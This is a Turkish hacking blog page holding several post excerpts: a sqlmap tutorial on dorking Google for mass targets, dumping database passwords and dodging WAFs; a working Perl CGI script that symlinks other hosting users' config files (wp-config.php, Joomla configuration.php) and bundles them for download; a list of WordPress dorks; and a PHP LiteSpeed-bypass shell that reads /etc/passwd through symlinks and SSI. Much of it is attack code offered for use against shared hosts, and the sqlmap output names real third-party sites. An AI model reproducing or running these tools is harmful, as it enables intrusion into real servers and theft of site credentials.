-
5 Nisan 2015 Pazar
Bir Üst Seviye Sqlmap Kullanımı



Sqlmap ile hedef hakkında elde edilebilen bazı veriler;

Veritabanı türü ve versiyonu (--banner,--all)
Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (--current-db, --dbs)
Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (--tables, --columns)
Veritabanı datası(--dump, --dump-all)
Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(--current-user,--users)
Veritabanı kullanıcı parolası (--passwords)
Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(--is-dba)
Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)

Sqlmape farklı tiplerde hedef belirtilebilmektedir;

URL (--url, -r )
Burp suite ve WebScarp proxy logu (--log , -l)
HTTP talepleri bir dosyadan okutulabilmektedir. (--r)
Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
/sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c)

Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı işlemlerde (WAF/IPS/IDS keşfi yapıp/yapmama,uzak sunucuda okunacak dosya, uzak sunucuda yürütülecek komut v.b ) yaptırılabilmektedir.

Not: Sqlmap ile çalışmaya başlamadan önce ilgili dizine girip sqlmap update edilmelidir. Bunun için aşağıdaki komut backtrack üzerinde kullanılabilir.

root@bt:~** cd /pentest/database/sqlmap/;svn update;python2 sqlmap.py --update

Sqlmap, -g parametresi ile belirli ifadeler (sqli açıklığı barındırdığı bilinen URL'ler) google üzerinden bulup, üzerindeki sql injection açıklığını istismar edebilmektedir.

Sqlmap bulduğu URL'leri sıra ile exploit etmek isteyip istemediğimizi sormaktadır.

root@bt:/pentest/database/sqlmap** ./sqlmap.py -g "inurl:index.php?id=" --dbs
[14:35:17] [INFO] first request to Google to get the session cookie
[14:35:18] [INFO] using Google result page **1
[14:35:25] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:35:25] [INFO] sqlmap got 105 results for your Google dork expression, 100 of them are testable targets
[14:35:25] [INFO] sqlmap got a total of 100 targets
url 1:
GET http://www.du.ac.in/index.php?id=165
do you want to test this url? [Y/n/q]
> n
url 2:
GET Corvinus University of Budapest
do you want to test this url? [Y/n/q]
> n
url 3:
GET Hark, a vagrant: 341
do you want to test this url? [Y/n/q]
>

--data parametresi ile hedef URL'e ait post verisi manuel olarak da verilebilmektedir.
--cookie parametresi ile hedef sisteme bağlanmak için cookie bilgisi verilebilmektedir. Parola korumalı hedeflerdeki sql injection açıkları bu şekilde kolaylıkla istismar edilebilmektedir.

Sqlmap http kimlik doğrulama yöntemlerinden bacic,ntlm ve digest yöntemlerini desteklemektedir. Bu tür http kimlik doğrulama türleri ile korunan hedef sistemlere yönelik açıklıklarda istismar edilebilir. --auth-type Basic --auth-cred "usertongue - Bir Üst Seviye Sqlmap Kullanımıass"

Taramalar http, https ve tor proxy üzerinden gerçekleştirilebilmektedir. Proxy kullanımı için --proxy parameteresi, proxy serverlar üzerinde kimlik dogrulama için --proxy-cred parametreleri kullanılmaktadır.

--proxy Http --proxy-cred "usertongue - Bir Üst Seviye Sqlmap Kullanımıass"

Hedef sunucu veya sunucu önünde bulunan WAF/IPS benzeri güvenlik cihazları bazı http header parametrelerini gelen istekte görmek isterler.

Bunlardan bir kaçı user agent ve referer gibi başlık bilgileridir. Güvenlik cihazları üzerinde bulunan whitelistlerde tanımlı bazı user agentlar ile gelen client istekleri cevaplanır bunun dışında gelenler bloklanır. Sqlmap ile bu durum user agent için, --user-agent veya --random-agent parametreleri ile atlatılabilmektedir.
--user agent ile istenilen bir user agent header bilgisi input olarak verilebilmektedir.
--random-agent paremetresi kullanılması durumunda ise ./txt/user-agent.txt dosyasındaki yaklaşık 2100 user agent içerisinden rast gele seçilerek hedef üzerinde zaafiyet istismar denemeleri gerçekleştirir. Referrer için ise --referer parametresi kullanılabilir.

Not:HTTP header bilgilerinin kullanılması için --level ile 3 ve üstü bir değer ifade edilmelidir.

--delay parametresi ile gönderilen http(s) istekleri arasındaki gecikme miktarı da saniye cinsinden ifade edilebilmektedir. --delay parametresi float türde veri de kabul etmektedir. ( --delay=1.5 )

--timeout parametresi ile normal http timeout süresi göz önünde bulundurulmadan önceki bekleme süresi belirtilebilir. Buda fload türde bir değişken olarak tanımlıdır (ondalıklı verilebilir) ve ön tanımlı olarak sqlmap.conf dosyasında 30 sn olarak ayarlanmıştır.

root@bt:/pentest/database/sqlmap** cat sqlmap.conf | grep timeout
** Seconds to wait before timeout connection.
timeout = 30
** Maximum number of retries when the HTTP connection timeouts.

--retries parametresi ile timeouta uğrayan http(s) isteklerinin tekrarlanma sayısı verilebilir. Bu değer sqlmap.conf dosyasında ön tanımlı olarak 3 olarak belirtilmiştir.

root@bt:/pentest/database/sqlmap** cat sqlmap.conf | grep retries
** Maximum number of retries when the HTTP connection timeouts.
retries = 3

Konunun daha iyi anlaşılması için bir kaç somut örnek üzerinden devam edelim.Hedef sisteme ait veritabanı kullanıcısını belirleme(--current-user) ve bu kullanıcının veritabanı admin haklarına sahip olup olmadığını(--is-dba) belirleyelim. Ayrıca uzak sistem üzerindeki işletim sistemi/versiyonu, kullanılan web teknolojisi adı/versiyonu, veritabanı uygulaması türü/versiyonu (-f) gibi bilgileri alalım.

root@bt:~** cd /pentest/database/sqlmap/;python2 sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' --current-user --is-dba -f

[16:59:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
[16:59:19] [INFO] fetching current user
current user: 'acunetix'
[16:59:21] [INFO] testing if current user is DBA
current user is DBA: False

Görüldüğü gibi mevcut kullanıcımız acunetix kullanıcısıdır ve dba degildir. Hedef sistem işletim sistemi ve kullanılan teknoloji bilgileride yukarıda çıktıda görülmektedir.

Bazen sqlmap URL bağlantısını test etmeye çalıştıgında timeout alarak URL bağlantı kuramaz. Gerçekten bağlantı olup olmadığını kendi browserimizdan adres çağrılarak görülebilir. Şayet browser üzerinden ilgili adrese bağlantı gerçekleştiriliyor fakat sqlmap bağlantı kuramıyorsa, bu gibi durumlarda hedef web uygulaması tarafında bizim user agent bilgimiz kontrol ediliyor olabilir.

Bu tür sorunları aşmak için --random-agent parametresi ile çeşitli user agent bilgileri ile hedef test edilirse sonuç başarılı olacaktır. Aşağıda örnek bir kullanım verilmiştir. -v 3 parametresi ile gönderilen tüm payloadlar görülebilir. --retries ile timeout vs. gibi başarısız bağlantılarda tekrar denenmemesi için 0 değeri set edilmiştir.

root@bt:/pentest/database/sqlmap** ./sqlmap.py -u 'http://www.example.com/test/index.asp?id= 1' --random-agent -p word --dbs --dbms=mssql --keep-alive --time-sec=1 -v 3 --retries 0 --timeout=1 --threads=10

DEVAMINI OKU..
Toplu config cekme perl - Videolu


.htaccess

Kod:
Options FollowSymLinks MultiViews Indexes ExecCGI 


AddType application/x-httpd-cgi .pl


AddHandler cgi-script .pl
AddHandler cgi-script .pl
ch.pl
#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">


<head>
****** http-equiv="Content-Language" content="en-us" />
****** http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>SwordFish Priv8 Config</title>
<style type="text/css">
.newStyle1 {
font-family: Tahoma;
font-size: x-large;
color: #000000;
background-color: #E56717;
text-align: center;
}
</style>
</head>
';
sub lil{
($user) = @_;
$msr = qx{pwd};
$kola=$msr."/".$user;
$kola=~s/\n//g;
symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'.txt');
symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'1.txt');
symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'3.txt');
symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'13.txt');
symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'14.txt');
symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
symlink('/home/'.$user.'/public_html/configuration.php',$kola.'10.txt');
symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'11.txt');
symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'15.txt');
symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'16.txt');
symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'17.txt');
symlink('/home/'.$user.'/public_html/inc/db.php',$kola.'18.txt');
symlink('/home/'.$user.'/public_html/db.php',$kola.'19.txt');
}
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
} else {
$buffer = $ENV{'QUERY_STRING'};
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
if ($FORM{pass} eq ""){
print '
<body class="newStyle1">
<p>SwordFish Config PerL</p>
<p>TopLu Config Cekme</p>
<form method="post">
<textarea name="pass" style="width: 543px; height: 420px"></textarea>
<br />
<input name="tar" type="text" style="width: 212px" /><br />
<input name="Submit1" type="submit" value="submit" style="width: 99px" /><br />
</form>';
}else{
@lines =<$FORM{pass}>;
$y = @lines;
open (MYFILE, ">tar.tmp");
print MYFILE "tar -czf ".$FORM{tar}.".tar ";
for ($ka=0;$ka<$y;$ka++){
while(@lines[$ka] =~ m/(.*?):x:/g){
&lil($1);
print MYFILE $1.".txt ";
for($kd=1;$kd<18;$kd++){
print MYFILE $1.$kd.".txt ";
}
}
}
print'<body class="newStyle1">
<p>Done !!</p>
<p>&nbsp;</p>';
if($FORM{tar} ne ""){
open(INFO, "tar.tmp");
@lines =<INFO> ;
close(INFO);
system(@lines);
print'<p><a href="'.$FORM{tar}.'.tar">Click here 2 download tar file</a></p>';
}
}
print"
</body>
</html>";

DEVAMINI OKU..
no image

inurl:wp-content site: co.il
inurl:wp-content site: net
inurl:wp-content site: com
inurl:wp-content site: org
inurl:wp-content site: com.br
inurl:wp-content/themes site: co.il
inurl:wp-content/themes site: net
inurl:wp-content/themes site: com
inurl:wp-content/themes site: org
inurl:wp-content/themes site: com.br
inurl:wp-content/themes/plugins site: co.il
inurl:wp-content/themes/plugins site: net
inurl:wp-content/themes/plugins site: com
inurl:wp-content/themes/plugins site: org
inurl:wp-content/themes/plugins site: com.br
inurl:wp-content/themes/plugins/2014 site: co.il
inurl:wp-content/themes/plugins/2014 site: net
inurl:wp-content/themes/plugins/2014 site: com
inurl:wp-content/themes/plugins/2014 site: org
inurl:wp-content/themes/plugins/2014 site: com.br
inurl:wp-content/themes/plugins/2015 site: co.il
inurl:wp-content/themes/plugins/2015 site: net
inurl:wp-content/themes/plugins/2015 site: com
inurl:wp-content/themes/plugins/2015 site: org
inurl:wp-content/themes/plugins/2015 site: com.br
DEVAMINI OKU..
no image

Vericegim Shell Bazı Surumleri Haric Litespeed Bypass Etmenizi Sağlar
İnternet Bileşim Gibi Hostları Bypass Edebilirsiniz.



Kod:
<html>
<head>
<title>
# LiteSpeed Bypass
</title>
</head>
<body></font><form method="POST">
<pre>
______ __ __ ___ ___ __ ________ _______ ___ ______
/_____/\/__/\ /__/\ /__/\ /__/\ /_/\ /_______/\ /_______/\ /__/\ /_____/\
\:::__\/\ \::\\:.\ \\::\ \\ \ \ _______\:\ \ \::: _ \ \\::: _ \ \\::\ \\:::__\/
/: / \_\::_\:_\/ \::\/_\ .\ \ /______/\\:\ \ \::(_) \ \\::(_) \/_\:_\/ /: /
/::/___ _\/__\_\_/\\:: ___::\ \\__::::\/ \:\ \____\:: __ \ \\:: _ \ \ /::/___
/_:/____/\\ \ \ \::\ \\: \ \\::\ \ \:\/___/\\:.\ \ \ \\::(_) \ \ /_:/____/\
\_______\/ \_\/ \__\/ \__\/ \::\/ \_____\/ \__\/\__\/ \_______\/ \_______\/

</pre><p><font face="Verdana" size="2" color=-#FF0000">Nobody Likes Us :) </font></p><br><br>
<div align="left">
<table border="0" cellspacing="0" cellpadding="0" width="797">
<tr>
<td>
<font face="Verdana" color=-#FF0000">
<p align="left"><font face="Tahoma"><font color=-#FF0000">Full PATH</font> :
<font size="3">&nbsp;<b><input value=-/etc/passwd" name="path" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" size="44" tabindex="15">&nbsp;&nbsp;&nbsp;&nbsp;</b></font></font></p>
</font>
<font face="Tahoma" color=-#FF0000">
<p align="left">File Name</font><font face="Verdana" color=-#FF0000"><font face="Tahoma"> :
<font size="3">&nbsp;<b><input value="b0x.txt" name="filename" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" size="44" tabindex="15">&nbsp;&nbsp;&nbsp;&nbsp;</b></font></font></p>
<p align="left"><font size="3" face="Tahoma"><b>&nbsp;&nbsp;&nbsp;
</b></font>
<b><font size="3" face="Tahoma">
<input type="submit" value="Execute" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" name="z00z"></font></b></p>
<b><font size="3" face="Tahoma">
</form>

<?php

KereSteci



$path = $_POST['path'];
$file = $_POST['filename'];
if($_POST['z00z']){
echo'
<br><br><span style="background-color: #FFFFFF">Status b0x</span></font></b><font face="Verdana"><span style="background-color: #FFFFFF"><br>
</span></font>
<textarea rows="12" cols="96" name="Status b0x" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">-;
Error_reporting(0);
$direcotry = "b0x";
$comp="IyBDcmVhdGVkIEJ5IFR1cmtpc0gtUnVsZVoNCiMgR2VuZXJhdGVkIEJ5IFRSLUxTMg0KT3B0aW9ucyAr ​ SW5jbHVkZXMNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2Vk ​IC5zaHRtbA0K";
$mkdir = @mkdir($direcotry);
if($mkdir){
echo -[+] Creating Directory ... Done\n\n";
}else{
echo"[+] I Can't Make New Folder , But I'll Continue If It Exist's !\n\n";
}
@symlink(-$path","b0x/$file");

$open = fopen("b0x/.htaccess","w");
$handle = fwrite($open,base64_decode($comp));
@fclose($open);
if($open){
echo"[+] Opening Apache Access File ... Done\n\n";
}else{
echo"[+] Access is Denied , Try Again With User Privilege :) \n\n";
exit;
}

if($handle){
echo"[+] Writing Access RuleZ ... Done \n\n";
}

$r1z="PCEtLSNpbmNsdWRlIHZpcnR1YWw9Ig==-;
$r1zcom = "IiAtLT4=-;
$open2 = fopen("b0x/b0x.shtml","w");
$handle2 = fwrite($open2,base64_decode($r1z).$file.base64_decode($r1zcom));
@fclose($open2);
if($open2){
echo"[+] Opening Server HTML Web Page ... Done\n\n";
}else{
echo"[+] Access is Denied , Try Again With User Privilege :) \n\n";
exit;
}

if($handle2){
echo"[+] Writing SHTML RuleZ ... Done \n\n";
echo"[+] All Task'z Have Done !-;
}
echo'
</textarea></td>
</tr>
</table>
</div>
<p>&nbsp;</p>
-;
}
?>
DEVAMINI OKU..